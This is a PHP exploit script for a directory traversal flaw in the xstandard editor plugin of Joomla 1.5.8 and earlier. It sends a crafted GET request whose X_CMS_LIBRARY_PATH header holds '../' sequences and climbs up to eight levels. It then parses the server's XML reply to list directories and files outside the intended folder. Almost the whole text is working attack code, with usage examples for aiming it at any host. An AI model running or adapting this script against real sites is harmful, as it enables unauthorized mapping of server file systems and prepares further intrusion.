<?php
/*
 Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability
 
 discovered by: irk4z[at]yahoo.pl
 greets: all friends ;) 
*/

echo "* Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vuln\n";
echo "* discovered by: irk4z[at]yahoo.pl\n";
echo "*\n";
echo "* greets: all friends ;) enjoy!\n";
echo "*------------------------------------------------------------------*\n";

$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];

if (empty($host) || empty($path)) {
  echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
  echo "       php {$argv[0]} example.org /joomla\n";
  echo "       php {$argv[0]} example.org /joomla ../../\n";
  exit;
}

echo "http://" . $host . $path . "/images/stories/\n\n";

if ( empty($folder) ){
  $lev = "./";
  for( $i = 0; $i <= 7; $i++ ) {
    echo browseFolder($host, $path, $lev);
    $lev .= "../";
  }
} else {
  echo browseFolder($host, $path, $folder);
}

function browseFolder($host, $path, $folder){
  
  $packet = "GET {$path}/plugins/editors/xstandard/attachmentlibrary.php HTTP/1.1\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "X_CMS_LIBRARY_PATH: {$folder}\r\n";
  $packet .= "Connection: Close\r\n\r\n";

  $o = @fsockopen($host, 80);
  if(!$o){
    echo "\n[x] No response...\n";
    die;
  }
  
  fputs($o, $packet);
  while (!feof($o)) $data .= fread($o, 1024);
  fclose($o);
  
  $_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
  if ( !empty($_404) ){
    echo "\n[x] 404 Not Found... Maybe wrong path? \n";
    die;
  }
  
  //folders
  preg_match_all("/<baseURL>([^<]+)<\/baseURL>/", $data, $matches);
  //files
  preg_match_all("/<value>([^<]+\.[^<]{3,4})<\/value>/", $data, $matches2);
  
  $matches = array_merge( $matches[1], $matches2[1] );
  
  if ( empty($matches) ){
    $ret = "$folder [x] Failed...\n";
  } else {
    $ret = '';
    foreach( $matches as $tmp){
      $ret .= str_replace("images/stories/", '', str_replace("/./", "/", str_replace("//", "/", urldecode($tmp) ) ) ) . "\n";
    }
  }
  
  return ($ret);
}

?>